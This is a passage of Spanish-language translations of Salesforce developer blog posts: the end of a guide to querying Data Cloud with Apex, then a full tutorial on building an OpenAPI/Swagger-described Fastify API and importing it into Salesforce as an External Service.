  • Los parámetros de consulta incluyen los nombres del objeto del modelo de datos ( dataModelName ), el objeto del modelo de datos secundario ( childDataModelName ), el campo de clave de búsqueda ( searchKey ) y el nombre del cliente ( customerName )
  • Se pueden proporcionar parámetros opcionales adicionales, como expresiones de igualdad, nombres de campos de objetos secundarios, la cantidad de elementos para devolver, la cantidad de filas para omitir y el orden de clasificación para el conjunto de resultados.
  • La respuesta de la consulta se almacena en un objeto ConnectApi.CdpQueryOutput llamado response
  • El método devuelve response.data , que representa los datos recuperados de la consulta

Importante consideración

  • Vuelva a verificar los nombres de campo y objeto antes de usarlos en el código de Apex, ya que, de lo contrario, el método puede generar excepciones y errores internos del servidor.

¿Cómo consultar datos de conocimientos calculados?

Los conocimientos calculados le permiten definir y calcular métricas multidimensionales en todo su estado digital en Data Cloud. Data Cloud genera información calculada al escribir SQL , de manera declarativa usando Insights Builder o usando Apex.

Streaming vs insights calculados

Hay dos tipos de información en Data Cloud: transmisión e información calculada.

Los conocimientos calculados son funciones que pueden calcular métricas en datos históricos. Se procesan en lotes. Por ejemplo, en nuestra aplicación Solar Circles, podemos tener una visión calculada que mide la potencia total generada por los paneles agrupados por cada cliente.

La información de transmisión se genera casi en tiempo real mediante el análisis del flujo continuo de datos entrantes. Estos conocimientos permiten la activación inmediata de acciones en los sistemas posteriores. Por ejemplo, la información de transmisión se puede utilizar para identificar a los clientes cuyos paneles solares generan una potencia mínima. Al aprovechar una acción de datos en la transmisión de conocimientos, podemos crear de manera proactiva un caso para dichos clientes en Salesforce Service Cloud.

Consultar datos a partir de una perspectiva calculada

Para consultar datos de las perspectivas calculadas, use el método queryCalculatedInsights de la clase CdpQuery . A continuación se muestra un fragmento de código de ejemplo que muestra cómo consultar datos de una perspectiva calculada conocida.

Aspectos destacados del código

  • El método queryCalculatedInsights de ConnectApi.CdpQuery se usa para recuperar información calculada de Data Cloud.
  • El primer parámetro es el nombre de API de la información calculada, que debe terminar con __cio . Por ejemplo, <calculted insight api name> podría reemplazarse por totalpowergenerated__cio .
  • Los siguientes parámetros especifican dimensiones y medidas. Una dimensión representa un campo o atributo en el que se basa la información, mientras que una medida representa la métrica calculada. Proporcionar null para estos parámetros incluye todas las dimensiones y medidas disponibles.
  • Se puede especificar el orden de clasificación para el conjunto de resultados, pero en este fragmento de código, se establece en null .
  • Los parámetros opcionales adicionales incluyen filtrar el conjunto de resultados a un ámbito o tipo más específico y especificar la cantidad de elementos que se devolverán y la cantidad de filas que se omitirán antes de devolver los resultados.
  • Los datos resultantes se almacenan en un objeto ConnectApi.CdpQueryOutput denominado response .

Importante consideración

  • Asegúrese de proporcionar el nombre de API correcto para la información. Un nombre de API incorrecto da como resultado un error del sistema.

Conclusión

En esta publicación de blog, brindamos una descripción general de cómo puede aprovechar el poder de Salesforce Data Cloud y Apex para aprovechar los grandes datos para las empresas. Los ejemplos de código y los puntos destacados demuestran enfoques prácticos para acceder y consultar datos de objetos de Data Cloud.

La publicación también destaca las mejores prácticas y las limitaciones que se deben tener en cuenta al trabajar con Data Cloud y Apex, como administrar los límites de la CPU, utilizar el procesamiento asincrónico para grandes conjuntos de datos y garantizar la denominación correcta de la API para los conocimientos calculados.

En la siguiente parte de la serie, profundizaremos en las clases de Apex como CdpCalculatedInsight (consulte los documentos ), CdpIdentityResolution (consulte los documentos ) y CdpSegment (consulte los documentos ) que se pueden usar para administrar información calculada, crear reglas de resolución de identidad y segmentación en Data Cloud mediante Apex.

Referencias adicionales

Sobre el Autor

Mohith Shrivastava es promotor de desarrollo en Salesforce con una década de experiencia en la creación de productos a escala empresarial en la plataforma de Salesforce. Actualmente se está enfocando en las herramientas para desarrolladores de Salesforce, Flow, Apex y Lightning Web Components en Salesforce. Mohith se encuentra actualmente entre los principales contribuyentes en Salesforce Stack Exchange, un foro de desarrolladores donde los desarrolladores de Salesforce pueden hacer preguntas y compartir conocimientos. Puedes seguirlo a través de su Twitter @msrivastav13 .

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Diseñe una API Swagger con código para traer datos a Salesforce ☁️

Diseñe una API Swagger con código para traer datos a Salesforce ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Diseñe una API de Swagger con código para llevar datos a Salesforce | Blog de desarrolladores de Salesforce

La integración de una API externa con su organización de Salesforce puede ser una tarea sencilla que no requiere código si utilizaCredenciales con nombre y Servicios externos . Deberá crear una credencial con nombre que apunte a la API y configurar un servicio externo en la interfaz de usuario de configuración. La clave aquí es proporcionar una especificación OpenAPI para la API. Si la API no tiene una, puede diseñarla usted mismo manualmente usando YAML o JSON, usar MuleSoft Anypoint Platform o aprovechar las herramientas y el código de código abierto.

En esta publicación, le presentaremos la especificación OpenAPI y Swagger, discutiremos los elementos principales de la especificación y lo guiaremos a través del diseño e implementación de una API con código. Usaremos Node.js y Swagger dentro del marco Fastify para esta tarea. Finalmente, integraremos esta API con Salesforce.

OpenAPI y Swagger

OpenAPI es una especificación para diseñar y construir API. Proporciona una forma estandarizada de definir su API para otros, brindando una forma estructurada que incluye puntos finales, tipos de solicitud/respuesta, definiciones de esquema, métodos de autenticación y más. Las especificaciones de OpenAPI están escritas en formatos YAML o JSON, ambos fáciles de leer y escribir. Esta especificación es ampliamente adoptada y respaldada por una variedad de herramientas, lo que la convierte en una opción popular para diseñar y documentar API. De hecho, si desea importar una API a Salesforce utilizando servicios externos, deberá especificarse con OpenAPI. Además, Salesforce es miembro de la Iniciativa OpenAPI .

Nota: A la fecha de esta publicación, la versión actual de la especificación OpenAPI es 3.1.0.

Swagger , por otro lado, es un conjunto de herramientas ( la mayoría de código abierto ) para implementar la especificación OpenAPI. Incluye la interfaz de usuario de Swagger, que proporciona una interfaz gráfica para comprender y probar las API, y Swagger Codegen, que genera código SDK de cliente y apéndices de servidor a partir de una especificación OpenAPI.

La especificación OpenAPI v2 también se conoce como Swagger, pero su nombre cambió cuando se convirtió en parte de la iniciativa OpenAPI en 2016.

Estructura básica de la especificación OpenAPI

La especificación OpenAPI está organizada en las siguientes secciones clave:

API abierta Define el documento raíz y combina la lista de recursos y la declaración de la API. Requerido
Información Proporciona metadatos sobre la API, como el título, la descripción, los términos del servicio, la información de contacto, etc. Obligatorio
Servidores Especifica una o más URL base para su API, como producción o preparación.
Seguridad Define un esquema de seguridad que pueden utilizar las operaciones de la API.
Caminos Describe las rutas y operaciones disponibles para la API. Cada ruta tiene un método HTTP con los detalles de la operación.
Etiquetas Agrega metadatos a una sola etiqueta que utiliza el objeto de operación.
Documentos externos Proporciona una descripción y una URL para la documentación externa.
Componentes Define un conjunto de objetos reutilizables para diferentes aspectos de la API. Esto puede incluir esquemas, respuestas, parámetros, ejemplos, cuerpos de solicitud, encabezados, esquemas de seguridad, etc.

Para obtener una explicación más detallada de cada sección y sus correspondientes definiciones de objeto, consulte la documentación oficial de la especificación OpenAPI .

Para fines de demostración, crearemos una API para administrar una librería. Esta API contará con dos métodos HTTP: uno para enumerar los libros disponibles y otro para agregar nuevos libros. A continuación, encontrará una definición básica de esta API, centrándose en el método para listar libros ( GET /books ) y sus objetos de respuesta.

Tenga en cuenta que estamos usando tres secciones principales aquí: Información , Rutas y Componentes . Como se mencionó anteriormente, describiremos esta API a medida que la implementemos mediante código. Para este propósito, utilizaremos Fastify y Fastify Swagger.

Fastify y Fastify Swagger

Fastify es un marco web altamente eficiente y flexible para Node.js. Está diseñado para facilitar su uso y ofrecer la máxima velocidad sin comprometer la personalización. Fastify proporciona una base sólida para las aplicaciones web y las API, con funciones como la validación de solicitudes y respuestas basadas en esquemas, ganchos, complementos y registro automático. Una de sus principales ventajas radica en su ecosistema, que incluye numerosos complementos centrales y mantenidos por la comunidad.

Uno de estos complementos es fastify-swagger . Este complemento nos permite ofrecer definiciones de Swagger (OpenAPI v2) u OpenAPI v3, que se generan automáticamente a partir de sus esquemas de ruta o de una definición existente de Swagger/OpenAPI. Además, utilizará fastify-swagger-ui , un complemento que sirve una instancia de Swagger UI dentro de su aplicación.

Nota: La siguiente demostración requiere la instalación de Node.js LTS y, a la fecha de esta publicación de blog, la última versión es v18.16.0.

Comencemos a crear la API de su librería instalando Fastify CLI y generando un nuevo proyecto ejecutando:

Luego, vayamos a la carpeta del proyecto e instalemos las dependencias fastify-swagger y fastify-swagger-ui .

Nota: En esta demostración, se centrará en tres aspectos principales: agregar compatibilidad con Swagger a Fastify, definir rutas de API y delinear esquemas y tipos de respuesta. No explicaremos cómo integrar la API con una base de datos. Si está interesado en explorar la fuente completa del proyecto, está disponible en el repositorio de ejemplos de codeLive.

Agreguemos compatibilidad con Swagger a Fastify editando el archivo app.js , luego importemos Swagger y SwaggerUI y registrémoslos como complementos.

aplicación.js

En la configuración del complemento de Swagger, tiene la opción de pasar toda la definición de especificación de OpenAPI, o puede aprovechar el enfoque dinámico que ofrece el complemento. Para esta demostración, utilizará el enfoque dinámico. Dado que el único campo obligatorio es info , definirá los metadatos de su API allí, además, la sección refResolver se encarga de nombrar las referencias de definición de esquema.

Y para SwaggerUI, solo especifica la ruta donde se alojará el sitio de documentación.

Ahora vamos a crear una carpeta schemas . Aquí es donde definirá los esquemas de su API. Para esta demostración, definirá un esquema book y un esquema error .

esquemas/index.js

Los esquemas representan la estructura de los objetos con los que trabajará, tanto para los cuerpos de solicitud como para los de respuesta. Para la especificación OpenAPI, el complemento Swagger agregará automáticamente estos objetos en el campo components .

Finalmente, definamos las rutas API para GET /books y POST /books usando Fastify. Primero, deberá registrar los esquemas dentro de Fastify. Luego, especificará los objetos de respuesta y solicitud para cada ruta que haga referencia a esos esquemas.

rutas/root.js

{ // … look at the code repository for a complete implementation } ) // POST /books fastify.post( ‘/books’, { schema: { description: "Create a book", body: { $ref: ‘book#’, required: [‘author’, ‘title’] }, response: { 201: { description: ‘Returns the book that has been created’, $ref: ‘book#’ }, 500: { description: ‘Returns an error’, $ref: ‘error#’ } } } }, async (request, reply) => { const { title, author } = request.body const id = randomUUID() const client = await fastify.pg.connect() try { const { rows: books } = await client.query( ‘INSERT INTO books(id, title, author) VALUES($1, $2, $3) RETURNING *’, [id, title, author] ) const [newBook] = books reply.code(201).send(newBook) } catch (error) { reply .status(500) .send({ code: 500, message: `An error ocurred: ${error.message}` }) } finally { client.release() } } ) // GET / fastify.get(‘/’, { schema: { hide: true } }, async function (request, reply) { reply.status(301).redirect(‘/api-docs’) })
} «>

Analicemos la ruta POST /books :

  • La función fastify.post define el método HTTP.
  • El primer argumento especifica la ruta: /books.
  • El segundo argumento especifica el schema , que incluye el body : el objeto de carga útil que espera la API. (Tenga en cuenta que es una referencia al esquema del book ). También incluye varios objetos response para esa ruta, que se asignan a los códigos de estado HTTP correspondientes 201 y 500 .
  • El tercer argumento es la implementación de la ruta. En este caso, está insertando el objeto en la base de datos y devolviendo el nuevo objeto. Si este proceso falla, devolverá un objeto de error. Es importante tener en cuenta que está utilizando los mismos esquemas que definió anteriormente.

Nota: También tiene la opción de excluir ciertas rutas de la documentación pasando hide: true en el objeto de esquema de esa ruta específica, como se demuestra en GET / route.

Su API está lista, así que ejecútela localmente para echar un vistazo a la interfaz de SwaggerUI ejecutando:

Y navegue a http://localhost:3000/api-docs para ver las diferentes rutas, su documentación y tener una forma de probarlas directamente desde la interfaz.

Si desea probarlo e implementarlo en Heroku, asegúrese de actualizar el script start en el archivo package.json con lo siguiente.

Además, asegúrese de tener acceso a una base de datos Heroku PostgreSQL y cree el esquema de la base de datos ejecutando:

<dx-code-block title language code-block="heroku pg:psql

Nota: El archivo database.sql está disponible en el repositorio de ejemplos de codeLive.

Luego puede implementarlo ejecutando:

Si desea ver cómo se ve implementado, vea mi versión que se ejecuta en Heroku .

Integración de una API externa con Salesforce

Ahora que tiene una API de acceso público, integrémosla con Salesforce como un servicio externo.

Primero, deberá crear una credencial con nombre para esta API. En la interfaz de usuario de configuración, vaya a Seguridad > Credenciales con nombre y cree una credencial externa con un protocolo de autenticación personalizado y una entidad de seguridad.

Asegúrese de que la credencial externa tenga una entidad principal a la que le haya asignado permisos en Acceso principal de credenciales externas en su conjunto de permisos.

Luego, cree una credencial con nombre que haga referencia a la credencial externa con la URL que apunta a la API pública.

A continuación, vaya a Integraciones > Servicios externos y agregue un nuevo servicio externo desde una especificación de API, seleccione la credencial con nombre y configure la ruta relativa a la ruta de especificación de OpenAPI. En su demostración, será /api-docs/json .

Después de eso, guarde sus cambios y seleccione las operaciones que desea importar a Salesforce, revise las operaciones y finalice.

Como puede ver, las operaciones que ha seleccionado se han importado correctamente, especificando tanto los parámetros de entrada como los de salida.

Ahora podrá invocar este servicio externo desde Flow, Apex, Einstein Bots y OmniStudio.

Conclusión

OpenAPI y los servicios externos de Salesforce brindan una poderosa combinación para integrar API externas en su organización de Salesforce. Al aprovechar el enfoque estandarizado de OpenAPI para definir las API y la capacidad de Salesforce para consumir fácilmente estas definiciones e invocarlas desde soluciones de código bajo y pro-código, los desarrolladores como usted pueden optimizar el proceso de conexión a servicios externos y mejorar las capacidades de sus aplicaciones de Salesforce.

Si está interesado en obtener más información sobre los servicios externos , puede encontrar una lista de recursos de aprendizaje a continuación, incluidos videos que muestran cómo invocarlos desde Flow y Apex.

Recursos de aprendizaje

Sobre el Autor

Julián Duque es un defensor principal de desarrolladores en Salesforce, donde se enfoca en Node.js, JavaScript y desarrollo backend. Le apasiona la educación y el intercambio de conocimientos y ha estado involucrado en la organización de comunidades tecnológicas y de desarrolladores desde 2001.

Sígalo en Twitter @julian_duque, @julianduque.co en Bluesky social o LinkedIn.

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